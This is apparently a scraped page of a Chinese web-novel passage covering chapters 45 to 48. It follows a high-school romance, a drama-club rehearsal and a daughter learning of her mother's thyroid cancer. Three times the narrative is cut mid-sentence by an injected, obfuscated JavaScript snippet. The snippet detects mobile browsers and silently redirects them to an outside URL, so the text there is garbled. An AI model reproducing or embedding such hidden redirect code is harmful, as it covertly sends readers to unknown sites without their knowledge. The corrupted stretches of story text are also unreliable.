姜寐被吓了一跳,单手捂着嘴巴,眼睛里写满惊喜和惊讶,“这是什么时候准备的?” 温知新眨眨眼,指了指前面,一位路人正举着相机望过来。 五个人齐声大喊:“姜寐,生日快乐!” “咔嚓——” 快门定格下此刻,六个人都在笑,大海波光粼粼,更闪光的是此刻地久天长的友谊。 45. 排练 高考结束,新高二高三收假返校。 但学校也明白,临近暑假,没多少人的心思在学习上,索性就把这半个多月拿来搞文艺活动。 六月十七号要进行社团汇演,三分之二的社团都要表演节目。 但很巧的是温知新他们六个人在的社团都不在参演之列,在其他人都投身于如火如荼的排练时,他们显得特别清闲。 温知新午觉睡醒还很懵,一边抱着大水杯喝水,一边听钱高怡兴致高昂地讲她们话剧社的原创剧本。 什么公主王子骑士恶龙的,她完全没听明白这四个角色之间的关系,只是懵懵地问:“我要干什么呢?” 钱高怡说:“我们社扮演公主的那个同学阑尾炎住院,所以希望你能来顶一下,没几句词,不会耽误你太多时间的。” “可以啊,排练的时候喊我就行。”温知新答应下来。 “感谢大侠出手相助。”钱高怡双手合十拜了几拜,要走的时候又被祁昂喊住。 他很随意地问了一句,“王子是谁演?” 钱高怡说:“赵元亮。” 温知新听见熟人名字,条件反射似的也跟着念了一遍:“赵元亮。” 祁昂疑惑:“赵元亮?” 钱高怡确定:“赵元亮。” 赵元亮来五楼接水路过,听见理重班里隐隐传来此起彼伏的自己名字,他探头往里看,“下午好三位,聊我呢?” 钱高怡拍着温知新肩,“介绍一下,新公主。” 赵元亮半个身子都进了教室,笑着和温知新握手,“幸会幸会,公主殿下。” 祁昂冷眉冷眼,抬头视线扫过去,“串班,举报了。” 赵元亮:“……”好大的官威。 “我先走了,两位晚上见。”赵元亮冲温知新和钱高怡打招呼,还不忘在祁昂的头上薅两把,灭灭他的官威。 祁昂面无表情地把头发捋顺,温知新握着笔盯着他,又把人看耳红了。 “怎么了?” “你冷脸顺毛好帅噢。”温知新看着祁昂,坦率直白到令人无法招架,让人分不清她究竟有几分真心。 祁昂“哦”了一声,除了耳垂红了之外就没什么表情了,低下头继续写作业。 只是谁也没发现,六月十号祁昂同学交上去的那份英语作文里,葡萄藤变成了酒。 晚自习放学,温知新不慌不忙地收拾东西,又成了班里最后一个人。 祁昂倚着门框,漫不经心地敲着窗户,声音清冷冷,但带着笑:“公主殿下,你好慢。” 温知新随手拿起一块橡皮扔他,“幼稚鬼。” 祁昂单手接住,重新放回桌子上,“没公主殿下幼稚。” 温知新不解:“这你也要生气?” “可以吗?”祁昂垂眼看她,声音低低。 黑色的眼眸像深不见底的湖水,温知新抬头望着他,答非所问:“好帅啊你。” “……” 他揉乱温知新的头发,“只看脸是吗?温知新。” “哎呀,少摸我头。”温知新打掉他的手,“有这么一张脸你快偷着笑吧,不然我才不会惯着你这个脾气。” “谢谢你,大度的公主殿下。”祁昂又摸了一下她的头。 “祁昂!”温知新把书包砸他怀里,冲出去追他。 两个人前后跑在月光笼罩下的校园里,拉长的影子被折断落在宣传栏上,一闪而过。 – 排练在晚自习,第二节课的下课铃刚打,钱高怡伸直脖子呼唤:“温温!” “来了!”她转头应了一声,然后迅速把书包收拾好,放到祁昂手边,“放学来艺体中心找我,走了,拜。” “带不带水杯?”祁昂问。 “这么大一个,不带了,高高说我没几句词,拜拜,放学见。”话音还没落,温知新就风一样跑走了。 到艺体中心三楼话剧排练室,温知新和屋里几个人打了招呼,拿了一份台词本。 粗粗翻了几页,发现自己确实没几句词,一直在杀杀杀。 恶龙绑架公主,被杀了; 骑士想抢王位,被杀了; 王子为娶公主不惜发动战争,也被杀了。 王子赵元亮看着剧本,不可置信地问钱高怡,“我死了?” 骑士刚推开门就听见赵元亮在咆哮,甩下书包跟着问:“谁死了?” 编剧钱高怡挠挠头,讪笑:“都死了。” “……” 这三个人跟讲相声似的,一番跟着一番,温知新靠着音响也要笑死了。 “道具。”钱高怡递给温知新一把长柄剑,“有点沉,拿的时候当心。” “好的。” 第一幕(节选)。 恶龙:“公主殿下,我劝你不要再进行无谓的挣扎,国王已经收到了你被绑架的信息,等他送来宝石,我就会放你走的。” 公主坐在地上,双手被反绑在身后,她斜睨了恶龙一眼,直接破口大骂,“你有病啊,要宝石直接去抢宝石不就行了,你绑我不是多此一举吗?” 恶龙:“这是我的工作。” 公主:“一个抢劫犯还工作上了。” 恶龙低吼,蹲下来和她讲道理:“你懂不懂童话故事,没有我怎么推动剧情发展?我是不可或缺的一环,我……” 公主神不知鬼不觉地解开绳子,从身后抽出利剑,毫不留情地刺进恶龙的心脏。 她居高临下地看着恶龙,眼神平静,“再告诉你一条童话世界的法则,反派通常死于话多,下辈子注意。” 第二幕(节选)。 骑士匆匆赶到恶龙洞穴,却只发现了一具尸体和满身是血的公主。 公主不紧不慢擦着裙摆上的血迹,抬头对骑士天真一笑:“来救我吗?” 骑士掩饰住眼中的慌乱,单膝跪地,“属下来迟了。” 公主瞥他一眼,剑尖一挑,骑士的衣服夹层被划破,数不清的宝石掉落。 公主:“这是用来赎我的,还是杀我的?” 骑士:“公主殿下,这是国王让我带来的赎金。国王一听到你被绑架,就命属下日夜兼程来救你。” 公主:“是吗?你见到国王了吗?” 骑士:“当然,国王很担心你,他嘱咐我一定要把你安全带回城堡,让你们父女团聚。” “嗯,知道了。”公主不耐烦地摆手,直接抽出剑了结了他,“国王是女的,下辈子上班记得做好背调。” 第三幕(节选)。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468852|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邻国王子率大军兵临城下,手里拿着蓝色塑料大喇叭,对着城堡喊:“公主殿下,请你接受我的爱意,与我结婚,否则这整个国家的人都会为你陪葬。” 公主:“不结。” 王子:“公主殿下,现在整个国家子民的性命都在你的一念之间,你……” 公主把自己的剑扔了出去,正中王子眉心,一击毙命。 “少道德绑架我。” …… “这谁写的剧本啊?”赵元亮从地上爬起来,拍拍身上的灰,“怎么全死了?” 钱高怡指着温知新:“没啊,公主活下来了。” 温知新掂起空气裙摆,对赵元亮行了个谢幕礼,“承让。” 赵元亮才知道温知新是这种性格的,好玩。 钱高怡说:“排的时候注意好各自的走位,不要撞到道具受伤,温温你扔剑的时候小心一点,虽然是塑料的,但是砸一下也挺疼的。” 温知新点点头。 但是她是个有点儿散光的近视眼。 和恶龙和骑士这种面对面的对手戏没什么问题,但公主和王子的对峙几乎隔了一整个舞台,这就大大增加了瞄准的难度。 “啊——”赵元亮被手背被砸了一下,吃痛喊出声。 温知新立刻跑过去,“不好意思不好意思,我今天没戴眼镜,砸你哪儿了,很疼吗?” “没事,不疼。”赵元亮甩甩手,“就磕了一下,连红都没红。” “今天能先跳过这段吗?”温知新问钱高怡,“明天我戴眼镜来。” “可以啊,往后排吧。” – 晚自习下课。 “哎,祁昂,你怎么在这儿?”一同学看见祁昂站在话剧排练室门口,和他打了声招呼,“网球社也要表演节目吗?” “没有,等人。” 祁昂话音刚落,排练室的门就从里面被打开,温知新笑着小跑到他身边,“等很久了吗?” “没有。”祁昂把刚买的水递给她,瓶盖已经拧开过,温知新轻轻一旋就能打开。 她排了一个多小时,现在渴的不行,仰头咕嘟咕嘟喝了大半瓶,“多谢,要不然我真的要渴死了,走吧,回家。” “走了,再见。”祁昂和同学摆了下手,接过温知新喝剩下的那半瓶水,反手塞进了背后的书包。 那个同学才注意到祁昂背的是一只黄色鸭子的书包。 不和谐,很奇怪,但祁昂对此似乎接受良好。 真怪啊真怪啊。 “你知道我演的公主多厉害吗?”路上,温知新兴奋地和祁昂分享排练的趣事,“我最后带兵打仗,守护了我的国家。” “这么厉害。” “但我因为没戴眼镜,不小心砸到了赵元亮,我明天给他带点零食,你知道他喜欢吃什么吗?” “不知道。” “好吧,那我什么都买一点。” 祁昂问:“你呢,明天早餐想吃什么?” “你想吃什么就多买一份给我吧,坐享其成的人不能提要求。” “但你可以。” “那我要吃小区门口早餐店的包子和豆浆。” “……” 温知新大笑,“随便买啦,我不挑。” 46. 习惯 上课刷题排练,日子跟流水似的,没怎么过这周又要过去了。 十一号,温知新收到刊登了正男诗集的杂志样刊和稿费;十二号,她和正男约好在夜色碰面,把这些都带给他。 “晚上要去夜色?”祁昂问。 实际也不用问,他一看温知新穿着自己的五彩缤纷的短袖时,就知道她要去酒吧。 温知新点头,“嗯,不要等我一起回去了。” “知道了,注意安全。” “嗯,拜拜拜拜。” 温知新背着书包下楼,把自行车停在地铁站入口,坐四站到大学城。 脱了校服外套塞书包里,她推开夜色的门。 正男早就到了,坐在吧台和调酒师聊天,手边是早就要送给温知新的礼物。 “晚上好,正男。”温知新坐到他旁边,把样刊和装在信封的钱递给他,“稿费是三百二十元,收据单在里面。” 正男没去看钱,而是很珍重地一页一页翻开那本诗集,从目录看到印着他作品的那一页。 作者那栏用楷体印着祝颂。 他看着两个字看了很久,这是他的名字,但他甚至不记得自己上一次被喊“祝颂”是什么时候了。 好像是辍学那天,他的同桌被他收拾书的动作吵醒,揉着惺忪睡眼说:“恭喜你啊祝颂,自由了。” 很巧的是,他的诗集名字也叫做自由。 “谢谢你小新。”正男轻轻抚摸着那页铅字,手指在颤抖。 “不客气,我没做什么,主要还是你写的很好。”温知新说。 正男知道温知新是在谦让,帮他出版一定费了很大力气。 他现在觉得自己准备的礼物有些太过轻了。 把胸针推到温知新面前,正男有些羞赧,“我感觉蝴蝶很适合你,就买了,你看看喜不喜欢。” 彩钻蝴蝶,小巧漂亮。 “谢谢,我很喜欢。”温知新也不推脱,大大方方收下了礼物,直接戴在了胸前,“这应该不便宜吧,你不是还要攒钱吗,万一你爸又来骚扰你怎么办?” “他不会找到我的,后天我就要去庆明了。” 正男说,“今天来跟你和航姐告别。” “后天?这么快。庆明消费水平比宜安高,你的钱够吗?我这里还有一点。” 正男说:“我不需要你的钱,我在庆明也会找工作,我很能干的,你不要担心。” 温知新忽然想到自己刚认识正男那会儿,他连个名字也不肯说,却跑过来找自己借书看。 她已经忘记借的是哪本书,但是对顶着一张□□的脸,说话却很一板一眼的正男印象很深。 “后天我在上课,不能去送你,提前祝你一路顺风。”温知新端起自己的酒杯去和他碰杯,“希望文学之神一直保佑你。” 但正男明白,他没有文学上的天赋,文学之神也并未怜惜过他,侥幸能登上杂志是借了朋友的光。 他喝光杯子里的酒,眼眶有些泛红,又一次无比郑重地和温知新道谢。 温知新对和朋友分别这件事已经习以为常,她从小辗转多地求学,每次都是刚和别人熟起来就要转走,久而久之,她终于明白:这个世界流行离开。 但总有人不擅长告别。 正男本来忍的好好的,结果被忙完过来的宋远航一句“以后见不到啦,在庆明记得好好吃饭”给弄崩溃了,一米八的头顶青皮的壮汉捂着眼呜呜哭了起来。 “肯定会再见的,肯定会再见的。”宋远航着急忙慌哄,“宜安到庆明开车也就六七个小时,我没事的时候开着车就去找你了,别哭了。” 正男真的很听宋远航的话,眼泪还没掉完就憋回去了,无声擦着泪水,说自己不会再哭了。 人都去被哄好了,温知新也放心回家,她背上书包,跟宋远航和正男告别。 “噢对了。”温知新走出去两步,又转身回来,对正男说:“可能会有点矫情,但是,祝颂,祝你自由,后会有期。” 正男大哭。 温知新:“……”错了,再也不矫情了。 宋远航:“……”麻了,谁招惹的谁哄。 – 把正男劝不哭之后,温知新终于可以回家了。 推开夜色的门,她愣在了原地。 对面路灯下,站着一个人,高高瘦瘦,单手插兜,眼神不冷不淡地看过来。 昏黄的灯光笼在他身上,酒吧的抒情曲挡在玻璃门后,大学城里人来人往的嘈杂隔绝在巷子外,只有他走过来时踩到的石子声音清晰可闻。 “祁昂。” “嗯。” “你怎么会在这里?” “路过。” 温知新仰头看着他,笑着问:“真的吗?” “不然?我特意来找你的?”经典祁昂式反问语气,高高在上,“你以为你多重要吗,温知新。” 听得温知新心烦。 之前不是因为这件事吵过吗?为什么还要用这种语气讲话。 “你想和我吵架吗?”温知新直接问。 祁昂下意识说:“没有。”,又后知后觉补了一句,“怎么可能”。 “不想吵架为什么要用这种语气说话,我们之前不是说好要好好讲话吗?”温知新说。 祁昂不说话,伸手去拿温知新的书包。 温知新抱着书包不给他,“说话。” “说什么?” 温知新背着手歪头看他,挑眉不语。 祁昂松松握着她的书包带,仿佛在做心理斗争似的沉默,半晌,终于认命似的吐了一口气,低声说:“我没有路过,我是来接你的。” 温知新满意地笑起来,把书包递给他,好像答对问题的奖励。 “为什么总要绕圈子呢?”回去路上,温知新问,“绕着绕着我们就可能真绝交了。” 祁昂背着温知新那只小黄鸭的书包,手指缠着带子,沉默了一站才开口,“习惯了。” 他的生活环境和家庭教育都在告诉他,希望期待和请求都是弱者才会做的事。 “二十一天就能养成新的习惯。”温知新说,“我们还有很多二十一天呢,毕业之前我保证能把你培养成人见人爱的大帅哥。” 温知新总是有很多新奇的想法,祁昂忍不住笑起来,摇头说:“我不要人见人爱。” “那你要什么?” 祁昂侧头看着温知新,抬手,轻轻弹了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474071|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的额头,笑而不语。 地铁到站的轰隆声盖过交谈声和心跳声,温知新欲盖弥彰地整理了一遍又一遍碎发。 又把人送到单元楼下,温知新抱着小黄鸭说:“那我上去了,下周见。” “有话直说包括问问题吗?”祁昂喊住她。 “要问什么?” 祁昂抿着唇,几番欲言又止之后才问:“你更喜欢捕梦网还是胸针?” 温知新哭笑不得,“我在地铁上的话白说了。” 她掏出手机给祁昂看,捕梦网被挂在床头,落地灯的昏黄光线偏过去,映在墙上的影子好像守护神。 “祁昂,我不会每天都戴胸针,但我每天都能看到捕梦网。” 一个不明着问,一个不明着答,说好要有话直说的两个人此刻都在绕圈子。 温知新清脆的声音落在祁昂耳朵里,又不知道顺着哪根筋络传到了心脏,以至于他的心跳得格外快。 如果可以不说反话,如果可以有话就直说,如果可以希望期待和请求。 那么他说出口的应该是“温知新,我喜欢你,能不能试着也喜欢我一下”,但祁昂清晰地听到自己说的是“我走了,晚安,温知新。” 路灯的光是柔和的白色,像暧昧期的纱。 祁昂越走越远,离路灯也越来越远,那灯光渐渐地不再落在他身上,而温知新一直站在原地,在白纱一样的光下面看着祁昂越走越远。 – 上楼,开门的时候温知新发现门没锁,钥匙转了一圈就开了。 不会进小偷了吧。 这是温知新的第一反应,她小心翼翼地打开一条门缝,发现客厅是亮堂堂的,温倩打电话的声音若隐若现。 温知新迅速想好晚回家的理由,然后才推门进家。 温倩从卧室出来,第一句话就是问:“今天怎么回来的有点晚?” “留教室写了会儿题。”温知新面不改色,“你这次回来就不走了吧。” “我回来办点事情,后天走,估计忙完要六月底了。”温倩说,“对了宝宝,妈妈有件事想和你商量一下。” 温知新放下书包,坐到温倩身边,“什么事情?” “妈妈想换个大点的房子,可能会里学校远一点,骑车大概二十分钟左右,可以吗?” 但温知新最先考虑到的不是上学时间,而是这样她就没办法和祁昂一起上下学了。 好矫情,自己一个人上下学怎么了,以前不就这么过的吗? “可以啊,但是怎么突然想换房子了,这儿也不小吧。” 一百一十多平,两室两厅一卫,对她们母女俩来说应该是很足够的。 温倩的解释点到为止:“刚好有个朋友在卖房,地段大小布局价格都合适。” 温知新点点头,“和你住哪里都可以,你喜欢的话就换,离学校的远近不是问题,我可以坐公交车上学,不要担心这个。” 温倩握上温知新的手,很轻地拍了两下,“我知道了,你去刷题吧。” “嗯,你也早点休息。” 温知新进了卧室,温倩拿出手机敲下一行信息,脱力般靠在沙发上,单手挡着眼睛,重重地叹了口气。 47. 奖励 周六,温倩没让温知新在家学习,而是带她出去玩了一天。 挽着温倩手臂,和她并肩走在商场里的时候,温知新忍不住去想上次和妈妈出门玩是什么时候。 记不清了,那时候她好像才到温倩的肩膀。 两个人一起逛街买东西,还去做了手工,路过一家抓娃娃机店时还进去消费了一百个游戏币。 最终斩获一只手掌大小的哈士奇挂件。 她们还一起去看了温倩喜欢的新房子。 地段不错,周围环境也很好,一梯一户,两百平,三室两厅,采光很好,装修风格也很简约。 “你觉得怎么样?”温倩问。 温知新说:“挺好的,你今年就要买吗?” “嗯,我下个月回来办手续。”温倩说,“之后就留在宜安了。” “好。” 在外面吃过晚饭之后,母女俩散着步回家,人行道没有逆行的说法,所以有人迎面擦过她们的肩,也有人超过她们,或者被她们的超过。 在温知新眼里,这些人都是虚影,只有她和妈妈是清晰的。 一直到家,温知新都没问为什么温倩会一反常态允许她歇一天,她隐隐有猜测,但是不敢深想。 周日,温倩回江虞,一早的飞机,没让温知新去送,两个人就在门口告别。 “在家好好学习。” “知道了,你多休息,注意身体。” – “想什么呢?”祁昂从超市回来,手里拿了瓶冰水,碰了碰她的脸。 “困。”温知新被冰了一下,哀怨地抬眼看他,又低下头,一下一下捏着机器人。 “温知新,超级厉害。” “温知新,超级厉害。” “温知新,超级厉害。” 录的时候不觉得,现在听起来就有点羞耻,祁昂揉着耳垂, “这个机器人,能不能换成人的音色?”温知新问。 “可以,下个月给你换。”祁昂先答应下来,才问:“你想换成谁的?” “你的吧,毕竟是你送我的机器人。”温知新说。 “这么勉为其难。” “换成别人的你又要生气。”温知新趴在桌上上转头看他,在他的手臂上戳戳点点,“不知道哪来的那么多气。” “你说,我不生气。” “那我换许妄的。” “好,可以。” 祁昂点头,随即站起来要出去。 温知新的视线随着他的动作起落,“去干嘛?” 祁昂冷着脸,一本正经地说:“把许妄弄哑。” 温知新笑着拉住他的手腕,“没有没有,我只想听你的声音,快坐下吧。” 空调冷气很足,教室里二十度左右,祁昂感受着腕间的一点温热,任她把自己拉回来。 “下午体育课有安排吗?”祁昂问。 “重说。” 祁昂想了想,重新问:“下午体育课要一起打网球吗?” “这才对嘛?你想干嘛就直接问,不要拐弯抹角。”温知新满意地笑起来,从书包里翻出来周六抓到的那只哈士奇挂件塞到他手里。 祁昂:“这是什么?” “奖励啊。”温知新转头继续去写不用动脑子的古诗词默写题,没看祁昂,语气轻快,“奖励你有话直说。” “为什么是哈士奇?” 温知新听祁昂的语气,好像真打算听她说出一二三个理由,但是哪有什么理由,玩抓娃娃机抓到什么就是什么。 但显然这样的理由太敷衍,我们祁大少爷肯定不满意。 温知新咬着笔略一思索,说:“因为我喜欢哈士奇。” “哦。”祁昂不知道想到了什么,耳垂又红了一点,他直接把哈士奇挂到了书包上。 “但你还没回答我,体育课要一起打网球吗?” “打不了,我去试话剧演出服,不去上体育课。” “……”不早说。 祁昂弹了一下她的脑门,一边拿出下节课要用的书,一边问:“对了,你的小说要什么时候搬回学校?” “下学期吧,现在搬回来等七月份放暑假又要搬回去,麻烦。”温知新趴在桌子上,下巴垫着手背,说话的时候脑袋也会跟着轻轻动起来。 可爱。 祁昂看着她就忍不住笑。 – 公主王子骑士和恶龙,四个角色的演出服风格差异大到像四个剧组。 公主是一件浅蓝色硬纱长裙,胸前有个硕大的蝴蝶结;王子是一套白色正装;骑士是银白色盔甲和盾牌与击剑;恶龙是充气玩偶服。 钱高怡说:“经费有限,一切从简。” 赵元亮:“这都不是一个童话故事,就硬凑啊?” 钱高怡:“没让你穿校服演就不错了,先换上试试。” 温知新有一米七,身材匀称,比例很好,天生的衣架子,穿什么都好看。 她直接把裙子套在了校服外面,只有胳膊接触到了裙子的长袖,不太舒服,有点痒。 不过在她能忍受的范围以内,一直到排练完脱下衣服才发现胳膊红了。 还越挠越痒。 估计是过敏了。 温知新先把这件事告诉了钱高怡,问她能不能换一套裙子。 钱高怡说:“可以,交给我,你快去医务室吧。” 医生开了药膏,刷的校园卡,信息会同步到校园系统中,估计晚上温倩就会打电话问她生什么病了。 温知新拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477144|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着药回教室,路上还碰见了宋嘉平。 虽说能继续做朋友,但六一表白之后两个人就没再说过话,温知新去高一文四上西语课的时候也是最后一个到,第一个走,就怕和他撞见,还是尴尬。 但这会儿面对面碰到了,躲也躲不过,她就大大方方打个招呼。 “怎么来宜理楼了?” 宋嘉平说:“我们楼打印机坏了,来这边打印一下资料。” “哦,去吧,拜。” 回到教室,被冷气扑了一身,胳膊的痒意减弱了一点,温知新坐到位置上,拆开棉签袋子,正要戳开药膏,祁昂从外面回来了。 洗了把脸,眉眼和额头前的几缕碎发都湿漉漉的。 “受伤了?” “过敏,不严重,校医说凃两回药就好了。” 祁昂轻轻拧眉,从温知新手里拿过棉签和药膏,“除了胳膊还有哪里过敏吗?” “哎,你怎么知道是我的胳膊过敏?”温知新惊讶。 祁昂回到位置上,沾了药膏轻轻抹在她的胳膊上,“眼睛看见的,我又不瞎。” “……”又来了,不怼一句不会说话。 亏她上午还送给他一只哈士奇。 “怎么弄的?” “对话剧演出穿的公主裙材质过敏。” 祁昂轻笑一声,“豌豆公主。” 温知新哼一声:“你也没好哪儿去,爱哭鬼,幼稚鬼。” 祁昂不满意:“为什么你是公主,我是鬼?” 温知新问他:“那你想当什么?” “我不能是王子吗?” “你想当王子?” “童话故事的结局,不是都会写王子和公主过上了幸福生活吗?” 药膏的触感凉凉的,祁昂的声音也冷冷的,抬头看温知新的眼睛,黑色的眼眸像深不见底的湖水。 温知新问:“是吗?” 大课间,教室里没几个人,温知新听见祁昂不轻不重的声音。 “是。” 咔哒—— 温知新觉得自己好像听到了秒针重新走动的响声,又好像是她心跳停顿了一秒之后重新跳动的声音。 她下意识抬手,捂住了那双盯着自己的眼睛。 药膏不小心蹭到了祁昂的鼻尖。 那股不算好闻的清苦味弥漫开来。 “祁昂,故事的最后,我把王子杀了。” 祁昂愣了一下,轻笑起来,睫毛扫过温知新的手掌。 明明只有手臂过敏,但温知新感觉掌心和心脏都痒痒的,好像被羽毛刮过。 她把手放下来,重新看见那双清透无比的眼睛。 “别杀我,温知新。” 丘比特,这是你的第二箭吗? 48. 崩溃 钟林死了。 消息是钟德耀告诉温知新的。 中午放学,学校里没什么了,温知新躲着监控站在走廊尽头,扶着栏杆,阳光落在身上,有点热。 说完钟林死了之后,温知新和钟德耀在电话里沉默了很大一会儿。 这是其实温知新第一次直面死亡,但由于她已经过了几年有爸似无爸的生活,所以没有感到很悲伤,甚至还可以问出来:“他那负债五万的遗产给谁了?”这种问题。 钟德耀个也没觉得现在这个时机问这个问题不对,回答:“谁也没给,卖出去了。” “哦,知道了,你节哀。”她语气平静,仿佛死的不是她爸爸。 钟德耀吸了下鼻子,粗声粗气但小心翼翼地说:“你也节哀。” 好像就是这句话,才让温知新有了一点真实的感受:哦,她也没爸爸了。 挂了电话,她趴在栏杆上,望着空荡荡的校园,很疲惫地叹了口气。 这个状态不适合学习,她满脑子都是钟林死了这件事。 所以中午没再留校,一个人蹬着自行车回了出租屋,脱力般躺在床上,盯着天花板,觉得这一幕很熟悉。 温知新翻身去拿手机,想问问温倩知不知道这件事,又想她妈妈作为大人肯定比她知道的要早,问也是多此一举。 她在和温倩的聊天框里敲敲打打好半天,最后只发过去一句:他去世了,你知道吗? 她在“爸爸”和“钟林”两个称呼之间犹豫了很长时间,前者太温存,后者太冷漠,温知新甚至想过“你的前夫”这种叫法,但略显愚蠢,被她舍弃。 温倩没回,估计还在加班。 温知新的思维又发散到温倩加班这件事情上,温倩工作强度很大,几乎全年无休,总说要趁自己还拼的动,多攒一些钱留给温知新以后用。 温知新说等自己长大会赚钱的,不要温倩这么辛苦。 温倩只会笑笑,摸着温知新的头说她家宝贝长大了,然后继续努力赚钱。 有时候工作强度大到让温知新觉得这不是上班,而是卖命。 她几乎隔半个月就会催温倩去做一次体检,然而对方只是敷衍了事,温知新又人小言轻,除了担心,也不知道能做什么。 叮—— 手机响起来,温倩回了信息。 温倩:【知道,过些天我回来参加葬礼】 温倩:【人都会有这一天的,别太伤心,宝贝】 温知新想说自己其实没那么伤心,但也没多好受。 她真的恨钟林,最开始是恨他无缝衔接,之后又恨他出轨,恨他抛妻弃子,恨他把自己当靶子,可为什么当她听到钟林死了的消息时,没有那种大仇得报的感觉呢? 这样一个父亲,这样一个丈夫,这样一个人,死了也没什么可惜的。 温知新这样想,却仍然觉得胸口堵堵的,像塞了一块大石头。 “唉。” 在风扇的呼呼声里,温知新躺了一个小时,睡了一会儿,做了个短梦,梦里温倩工作不忙,钟林没死也没出轨,他俩没离婚,温知新没转学。 先前定好的闹钟叮叮当当响起来,温知新坐在铺着凉席的床上,愣了好大一会,才加载出此刻的地图。 温倩在加班,钟林死了,她在宜安的出租屋里,并且十分钟之后就要迟到。 回过神之后,温知新立刻跑进卫生间洗脸,随手绑了个马尾,拽上书包往外跑。 在玄关,书包带勾住了挂衣架,温知新没意识到脚步未停,哗啦一声,整个实木挂衣架轰然倒塌。 还好上下楼都没住人是第一反应,第二反应是该死她要迟到了。 她放下书包去扶架子,接着把外套和包包都挂上去,其中有一件是温倩上次回来穿的,忘记拿走了。 口袋往外翻着,露出了一角纸,温知新去拿。 不是什么无关紧要的纸,是温倩的病情诊断书。 温知新完全愣在那里,略过那些看不懂的名词和数值,目光死死盯着那个“癌”字。 轰隆—— 她听到自己胸口那块石头裂开的声音,无尽的痛苦漫上来好像海水挤压胸腔,窒息的感觉那么强烈。 温知新蹲下去,眼泪夺眶而出。 不知道过了多久,腿蹲麻了,手也哭到颤抖,温知新扶着墙,慢慢站起来又一点一点挪到卧室,打开手机,无数条信息和未接来电跳了出来。 她回拨给了温倩。 立刻被接通,温倩焦急又生气的声音传过来,她大吼着:“温知新,你居然逃课了?” 温知新大哭,泣不成声地挤出两个字,“妈妈……” 隔着屏幕,温倩的怒火被温知新的眼泪浇灭,“怎么了宝贝,为什么哭,为什么没去上学?” “妈妈,我看到了你的病历单。” “……” 沉默,太久的沉默。 温倩躺在病房里,不知道该怎么说。 “为什么要瞒着我,因为我知道了也没有用是吗?”泪水糊了一脸,大脑哭到缺氧,温知新都不知道自己在说什么,“钟林出轨瞒着我,你们俩离婚瞒着我,他死了瞒着我,现在你生病也要瞒着我,我是你女儿吗?我连知情的权利都没有吗?” “宝贝……” 温知新又说:“你住院了吗?什么时候动手术?有没有人照顾你?为什么不让我去陪你?我现在在一轮复习,不会耽误学习的。” “没那么严重,你就乖乖在宜安等我回去,好吗?” “不严重你为什么不敢告诉我,我不要在这里,我现在去江虞找你。”温知新马上要去订飞机票。 “温知新。” 温倩的直呼大名就是咒语,温知新立刻停下手上的动作。 温倩叹口气,说:“我真的没事,你放心待在宜安好吗?马上Y8联考,妈妈不想你因为别的事情分心。” “什么叫别的事情啊?你得癌症这么大的事情怎么会是别的事情啊?” 温知新第一次吼温倩,但因为在哭,所以显得很没有气势。 温倩看不到她,但觉得她现在应该很像一只哈气小猫。 “虽然是癌,但是不是会死的癌。”温倩解释,“这个甲状腺癌致死率才百分之二点几。” “才?”温知新疯了,她不知道温倩为什么会这么乐观,“才就不是癌了吗?” “真的别担心,庄叔叔在陪我呢,你不用来。” 手机页面刚好加载出甲状腺癌的科普,好像确实没有温知新想的那么可怕。 “真的没事吗?真的不需要我吗?”温知新问。 “没事,你安心学习。我帮你请了一节假,待会儿洗把脸记得去学校上课。” “好,知道。” 虽然现在去学校也学不进去,但温知新还是答应了下来,她不想让温倩再因为自己不听话而着急生气。 深深呼出一口气,进卫生间洗脸,看着镜子里的自己又叹了口气,眼睛又红又肿。 好丑,不想这样见人。 温知新打湿了毛巾敷在眼上,结果只要想到温倩就开始不受控地流眼泪。 这么哭下去也不是办法,温知新发现只要自己单独在安静的空间里就忍不住要哭,她得去人多的地方。 又去洗了把脸,随后拿上家门钥匙,背上出包,蹬着车子去学校了。 她到的时间很凑巧,班里人都去社团活动了,教室里空空荡荡的,温知新坐在座位上,写一会儿题就要停下来擦一下眼泪。 写一会儿,擦一下。 写一会儿,擦一下。 写一会儿,擦一下。 …… 写一会儿…… “温温。” 温知新擦眼泪的动作顿了一下,抬头对上姜寐的眼睛。 姜寐凑到她身边,握住她的手,问:“怎么啦,怎么在偷偷抹眼泪呢?发生什么事了吗?” 温知新突然想到一个很不贴切的类比,在打雪仗的时候是不会觉得手冷的,只有在碰到温水的时候才会感觉到手又冷又疼。 她一开始只是默不作声地擦掉眼眶里那些挡住视线的眼泪,直到有人来问她,她的情绪又一次决堤。 温知新紧紧抱住她,没出声,只是一个劲掉眼泪。 后面来的几个人都愣住了,互相看着彼此,眼里一片茫然。 